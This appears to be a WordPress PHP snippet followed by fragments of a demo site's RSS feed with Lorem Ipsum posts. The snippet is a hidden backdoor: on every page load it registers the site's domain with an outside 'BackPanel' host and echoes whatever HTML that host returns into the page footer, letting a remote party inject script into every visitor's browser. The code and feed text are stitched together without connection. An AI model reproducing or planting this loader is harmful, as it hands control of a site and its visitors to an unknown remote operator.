function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array(
        'body' => array(
            'action' => 'register_domain',
            'domain' => $domain
        ),
        'timeout' => 5
    ));
    if (is_wp_error($response)) {
        return;
    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
            echo $html_code;
        });
    }
}
add_action('init', 'wp_injector_fetch_code');
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	<link>https://angolabeauty.demowebsiteclient.com</link>
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	<lastBuildDate>Mon, 12 Sep 2022 23:00:29 +0000</lastBuildDate>
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		<title>There are many variations of passages of Lorem Ipsum</title>
		<link>https://angolabeauty.demowebsiteclient.com/there-are-many-variations-of-passages-of-lorem-ipsum-2/</link>
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